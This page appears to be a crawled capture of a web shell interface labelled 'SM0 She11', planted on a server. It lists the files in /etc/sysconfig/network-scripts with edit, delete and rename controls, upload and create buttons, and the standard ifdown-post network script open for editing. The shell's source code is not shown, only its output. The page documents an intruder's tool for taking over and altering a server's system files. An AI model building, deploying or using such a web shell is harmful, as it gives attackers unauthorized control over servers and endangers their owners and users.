SM0 She11
Path:
/
/
etc
/
sysconfig
/
network-scripts
Full Path (server): /etc/sysconfig/network-scripts
Create Fil3
Upl04d Fil3
📄 ifcfg-eth0
[E]
[D]
[R]
📄 ifcfg-eth0:0
[E]
[D]
[R]
📄 ifcfg-lo
[E]
[D]
[R]
📄 ifdown
[E]
[D]
[R]
📄 ifdown-Team
[E]
[D]
[R]
📄 ifdown-TeamPort
[E]
[D]
[R]
📄 ifdown-bnep
[E]
[D]
[R]
📄 ifdown-eth
[E]
[D]
[R]
📄 ifdown-ippp
[E]
[D]
[R]
📄 ifdown-ipv6
[E]
[D]
[R]
📄 ifdown-isdn
[E]
[D]
[R]
📄 ifdown-post
[E]
[D]
[R]
📄 ifdown-ppp
[E]
[D]
[R]
📄 ifdown-routes
[E]
[D]
[R]
📄 ifdown-sit
[E]
[D]
[R]
📄 ifdown-tunnel
[E]
[D]
[R]
📄 ifup
[E]
[D]
[R]
📄 ifup-Team
[E]
[D]
[R]
📄 ifup-TeamPort
[E]
[D]
[R]
📄 ifup-aliases
[E]
[D]
[R]
📄 ifup-bnep
[E]
[D]
[R]
📄 ifup-eth
[E]
[D]
[R]
📄 ifup-ippp
[E]
[D]
[R]
📄 ifup-ipv6
[E]
[D]
[R]
📄 ifup-isdn
[E]
[D]
[R]
📄 ifup-plip
[E]
[D]
[R]
📄 ifup-plusb
[E]
[D]
[R]
📄 ifup-post
[E]
[D]
[R]
📄 ifup-ppp
[E]
[D]
[R]
📄 ifup-routes
[E]
[D]
[R]
📄 ifup-sit
[E]
[D]
[R]
📄 ifup-tunnel
[E]
[D]
[R]
📄 ifup-wireless
[E]
[D]
[R]
📄 init.ipv6-global
[E]
[D]
[R]
📄 network-functions
[E]
[D]
[R]
📄 network-functions-ipv6
[E]
[D]
[R]
📄 route-eth0:0
[E]
[D]
[R]
📄 route6-eth0:0
[E]
[D]
[R]
Editing: ifdown-post
#!/bin/sh # This should be called whenever an interface goes down, not just when # it is brought down explicitly. cd /etc/sysconfig/network-scripts . ./network-functions unset REALDEVICE if [ "$1" = --realdevice ] ; then REALDEVICE=$2 shift 2 fi CONFIG=$1 source_config [ -z "$REALDEVICE" ] && REALDEVICE=$DEVICE /etc/sysconfig/network-scripts/ifdown-routes ${REALDEVICE} ${DEVNAME} # Remove duplicate DNS entries and shift them, # to have always correct condition below... update_DNS_entries if ! is_false "${PEERDNS}" || is_true "${RESOLV_MODS}" && \ [ "${DEVICETYPE}" = "ppp" -o "${DEVICETYPE}" = "ippp" -o -n "${DNS1}" \ -o "${BOOTPROTO}" = "bootp" -o "${BOOTPROTO}" = "dhcp" ] ; then if [ -f /etc/resolv.conf.save ]; then change_resolv_conf /etc/resolv.conf.save rm -f /etc/resolv.conf.save fi if [ "${DEVICETYPE}" = "ppp" -o "${DEVICETYPE}" = "ippp" ]; then if [ -f /etc/ppp/peers/$DEVICE ] ; then rm -f /etc/ppp/peers/$DEVICE fi fi fi # Reset the default route if this interface had a special one if ! check_default_route ; then # ISDN device needs special handling dial on demand if [ "${DEVICETYPE}" = "ippp" -o "${DEVICETYPE}" = "isdn" ] && \ [ "$DIALMODE" = "auto" ] ; then if [ -z "$GATEWAY" ] ; then /sbin/ip route add default ${METRIC:+metric} \ ${WINDOW:+window $WINDOW} dev ${DEVICE} else /sbin/ip route add default ${METRIC:+metric} \ ${WINDOW:+window $WINDOW} via ${GATEWAY} fi else add_default_route ${DEVICE} fi fi # Reset firewall zone (empty ZONE means default): if [ "${REALDEVICE}" != "lo" ]; then dbus-send --print-reply --system --dest=org.fedoraproject.FirewallD1 \ /org/fedoraproject/FirewallD1 \ org.fedoraproject.FirewallD1.zone.removeInterface \ string: "" string:"${DEVICE}" \ > /dev/null 2>&1 fi # Notify programs that have requested notification do_netreport if [ -x /sbin/ifdown-local ]; then /sbin/ifdown-local ${DEVICE} fi exit 0
Save